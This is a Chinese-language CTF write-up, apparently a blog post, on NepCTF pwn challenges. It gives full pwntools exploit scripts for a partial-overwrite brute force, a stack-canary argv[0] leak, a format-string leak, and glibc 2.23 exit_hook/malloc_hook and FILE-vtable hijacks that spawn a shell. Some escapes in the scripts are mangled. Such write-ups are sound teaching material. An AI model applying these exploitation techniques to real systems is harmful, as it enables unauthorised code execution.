zoukankan      html  css  js  c++  java
  • NepCTF pwn writeup

      上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西。

    [签到] 送你一朵小红花

      64位程序,保护全开。

      程序会在buf[2]处留下一个data段的地址,可以覆盖这个地址的后两个字节,使得有1/16的几率,可以让程序执行到puts5函数,就可以拿flag了。直接写代码爆破就可。

     1 from pwn import *
     2 
     3 context.log_level = 'debug'
     4 flag = ''
     5 #4E1
     6 
     7 while 1:
     8     try:
     9         #p = process('./pwn')
    10         p = remote('node2.hackingfor.fun',37819        
    11         payload = 'a'*0x10+'xe1xa4'
    12         p.send(payload)
    13         flag = p.recvuntil('}')
    14         print flag
    15         break
    16     except:
    17         p.close()

    easystack

      这道题卡了好久,后来问其他师傅要的exp看了,才做出来,又学到一种canary的骚操作。

      在cancry被破坏的时候,程序会调用一系列相关函数,其中会有输出。

      可以看到,在_fortify_fail()函数中,是会输出一句话的,而第二个参数是__libc_argv[0],在main函数中参数argv[0]是会显示运行程序的路径的,这个值被保存在栈空间中。

      截图是程序start开始的第一步,可看到是向栈中压入了两个值,其中0x1是程序执行时参数的个数,而下面的0x7fffffffe1d9中保存的信息就是我这个程序在本地运行是时候的路径。(这里没有显示完全)

      所以这道题的思路就出来了。程序先将flag读取到bss段,然后有一个gets函数让输入,虽然我们这里会破坏canary,但是只要将0x7fffffffde58覆盖成bss段存flag的地址,就可以在出发canary的时候将flag输出出来。

      这种方法使用于可以无限溢出,并且知道flag保存的地址,并且开启了canary的时候使用。

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 #p = remote('node2.hackingfor.fun',32705)
     5 context.log_level = 'debug'
     6 
     7 flag_addr = 0x0006CDE20
     8 payload = 'a'*0x1c8+p64(flag_addr)
     9 p.sendline(payload)
    10 #p.sendlineafter('answer!!',payload)
    11 p.recv()

    scmt

      这道题还算简单,格式化字符串泄露信息,然后就可以拿到shell了。

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 #p = remote('node2.hackingfor.fun',30498)
     5 elf = ELF('./pwn')
     6 context(os='linux',arch='amd64',log_level='debug')
     7 
     8 p.sendlineafter('name:
    ','%8$p')
     9 p.recvuntil('!!!')
    10 num = int(p.recvuntil('
    ')[:-1],16)
    11 p.sendlineafter('number:
    ',str(num))
    12 p.interactive()

     superpowers

       考点是flie结构体,是2.23环境下的题目。

       可以打开任意文件并进行输出,但是不能打开带有flag字符的文件。这里利用/proc系统来获取libc基地址。后面有一个格式化字符串漏洞可以进行任意位置的读写。

      这题我用两种方法做出来了。但是自己想的第一种方法只在自己本地复现。

      1.泄露libc基地址后,利用任意写,打exit_hook为main函数地址,打__malloc_hook为realloc的,打realloc为one_gadgets,当程序返回到main函数,再次输入/proc/self/maps,此时程序会调用malloc,就会触发one_gadgets。因为是32位程序,one_gadgets大多数都不能用,只能再利用realloc进行抬栈。本地可以复现。远程没有打通的原因是我本地和远程的环境不一样,exit_hook与远程环境的偏移不同,导致远程没做出来。

      2.泄露libc基地址后,改写fp指针,将fp指针指向bss段可以控制的地方,改写vtable指向可以控制的地方,因为程序中调用了fclose,会调用虚表中的close函数,这里可以把close函数的位置写成system函数的位置,并且将file结构体中的flag字段设置为'/bin/sh'字符串,就可以拿到shell了。(后面会专门开一个帖子记录io题目的做法)

    打exit_hook的exp:

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 #p = remote('node2.hackingfor.fun',34275)
     5 elf = ELF('./pwn')
     6 libc = ELF('./libc.so.6')
     7 context(log_level='debug',arch='i386',os='linux')
     8 
     9 og = [0x3ac6c,0x3ac6e,0x3ac72,0x3ac79,0x5fbd5,0x5fbd6]
    10 
    11 p.sendlineafter('filename:','/proc/self/maps')
    12 p.recvuntil('-f7')
    13 libc_base = int(p.recvuntil('-f7')[-11:-3],16)
    14 print 'libc_base-->'+hex(libc_base)
    15 
    16 exit_hook = libc_base+0x1fd818
    17 
    18 shell = libc_base+og[0]
    19 main = 0x0804864B
    20 malloc_hook = libc_base+libc.symbols['__malloc_hook']
    21 realloc = libc_base+libc.symbols['realloc']
    22 realloc_hook = libc_base+libc.symbols['__realloc_hook']
    23 malloc = libc_base+libc.symbols['malloc']
    24 system = libc_base+libc.symbols['system']
    25 
    26 payload = fmtstr_payload(27,{exit_hook:main,malloc_hook:realloc+4,realloc_hook:shell})
    27 p.sendafter('name?',payload)
    28 
    29 p.sendlineafter('filename:','/proc/self/maps')
    30 p.interactive()

    打file结构体的exp:

     1 from pwn import *
     2 
     3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
     4 #p = remote('node2.hackingfor.fun',34275)
     5 elf = ELF('./pwn')
     6 libc = ELF('./libc.so')
     7 context(log_level = 'debug', arch = 'i386', os = 'linux')
     8 
     9 p.sendlineafter('filename:','/proc/self/maps')
    10 p.recvuntil('-f7')
    11 libc_base = int(p.recvuntil('-f7')[-11:-3],16)
    12 print 'libc_base-->'+hex(libc_base)
    13 
    14 main = 0x0804864B
    15 system = libc_base+libc.symbols['system']
    16 
    17 fd = 0x0804A04C
    18 fake_flag = 0x0804A050
    19 fake_lock = fake_flag+0x48
    20 fake_vtable = 0x0804A050+0x94
    21 
    22 payload = fmtstr_payload(27,{fd:0x0804A050,fake_flag:'x73x68x00',fake_lock:0x0804A050+0x200,fake_vtable:0x0804A050+0x200,0x0804A050+0x200+68:system})
    23 p.sendafter('name?',payload)
    24 p.interactive()
  • 相关阅读:
    NEO从入门到开窗(4)
    NEO从入门到开窗(3)
    NEO从入门到开窗(2)
    NEO从入门到开窗(1)
    重读大型网站技术架构
    c#并行编程
    关于使用CPU缓存的一个小栗子
    Visual Studio中从应用程序中调试SQL脚本
    JavaScript启示录
    LabVIEW工控二进制数据存储
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14568695.html
Copyright © 2011-2022 走看看